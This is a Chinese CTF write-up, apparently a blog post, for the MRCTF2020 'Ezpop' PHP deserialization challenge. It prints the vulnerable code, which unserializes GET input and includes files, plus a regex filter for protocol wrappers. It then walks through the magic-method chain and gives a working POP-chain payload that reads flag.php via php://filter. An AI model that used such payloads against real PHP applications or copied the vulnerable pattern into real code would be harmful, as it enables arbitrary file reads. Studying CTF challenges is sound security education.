• [MRCTF2020]Ezpop


    打开就是代码

    1. Welcome to index.php
    2. //flag is in flag.php
    3. //WTF IS THIS?
    4. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    5. //And Crack It!
    6. class Modifier {
    7. protected $var;
    8. public function append($value){
    9. include($value);
    10. }
    11. public function __invoke(){
    12. $this->append($this->var);
    13. }
    14. }
    15. class Show{
    16. public $source;
    17. public $str;
    18. public function __construct($file='index.php'){
    19. $this->source = $file;
    20. echo 'Welcome to '.$this->source."
      "
      ;
    21. }
    22. public function __toString(){
    23. return $this->str->source;
    24. }
    25. public function __wakeup(){
    26. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    27. echo "hacker";
    28. $this->source = "index.php";
    29. }
    30. }
    31. }
    32. class Test{
    33. public $p;
    34. public function __construct(){
    35. $this->p = array();
    36. }
    37. public function __get($key){
    38. $function = $this->p;
    39. return $function();
    40. }
    41. }
    42. if(isset($_GET['pop'])){
    43. @unserialize($_GET['pop']);
    44. }
    45. else{
    46. $a=new Show;
    47. highlight_file(__FILE__);
    48. }

    看起来就是一个反序列化

    一个一个来看

    1. class Modifier {
    2. protected $var;
    3. public function append($value){
    4. include($value);
    5. }
    6. public function __invoke(){
    7. $this->append($this->var);
    8. }
    9. }

    append函数会进行文件包含,第二个是魔术方法

    __invoke:当尝试以函数的方式调用对象时,会调用此方法。

    第二个

    1. class Show{
    2. public $source;
    3. public $str;
    4. public function __construct($file='index.php'){
    5. $this->source = $file;
    6. echo 'Welcome to '.$this->source."
      "
      ;
    7. }
    8. public function __toString(){
    9. return $this->str->source;
    10. }
    11. public function __wakeup(){
    12. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
    13. echo "hacker";
    14. $this->source = "index.php";
    15. }
    16. }
    17. }

    第一个就是构造函数,不说了

    第二个也是魔术方法

    __toString:返回一个类被当做字符串时,调用此函数

    第三个函数

    __wakeup:在unserialize函数反序列化时首先会检查类中是否存在__wakeup方法,如果存在会先调用次方法然后再执行反序列化操作。

    这里面是一些过滤

    第三个类

    1. class Test{
    2. public $p;
    3. public function __construct(){
    4. $this->p = array();
    5. }
    6. public function __get($key){
    7. $function = $this->p;
    8. return $function();
    9. }
    10. }

    __get:当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数

    而且这个函数会返回一个函数$function,而$function就是当前类的$p

    思路:

    这里的Test类有个的get方法会返回函数,如果我们将$p改为Modifier类,就会调用get方法中的$function(),从而调用Modifier类的invoke方法

    要调用get方法,就要调用一个不存在的属性,可以利用Show类

    所以我们可以把Show类中的source定义为一个类,经过wakeup方法中的正则匹配时,调用toString方法。当str也为一个类时,在str中就不可能不存在source属性,进而调用Test类的get方法

    payload:

    1. class Modifier {
    2. protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
    3. }
    4. class Test{
    5. public $p;
    6. }
    7. class Show{
    8. public $source;
    9. public $str;
    10. }
    11. $pop = new Show();
    12. $pop->source = new Show();
    13. $pop->source->str = new Test();
    14. $pop->source->str->p = new Modifier();
    15. echo urlencode(serialize($pop));
    16. ?>

    传参后将得到的内容base64解码得到flag

  • 相关阅读:
    yarn 包管理器设置淘宝镜像和sass镜像
    centos7安装mysql5.7步骤(图解版)
    怎么样显卡叠加,什么是NVIDIA 显卡 非公、公版、涡轮卡
    Spring及Spring boot 第四章-第二节 Spring声明式事务管理 拦截过程
    面对数据增量同步需求,怎样保障准确性和及时性?
    10分钟了解BIM+GIS融合,常见BIM数据格式及特性
    Style样式设置器
    使用ruoyi框架遇到的问题修改记录
    ubuntu16.04设置串口开机直接自动登录
    【计算机网络】网络编程接口 Socket API 解读(3)
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/127397860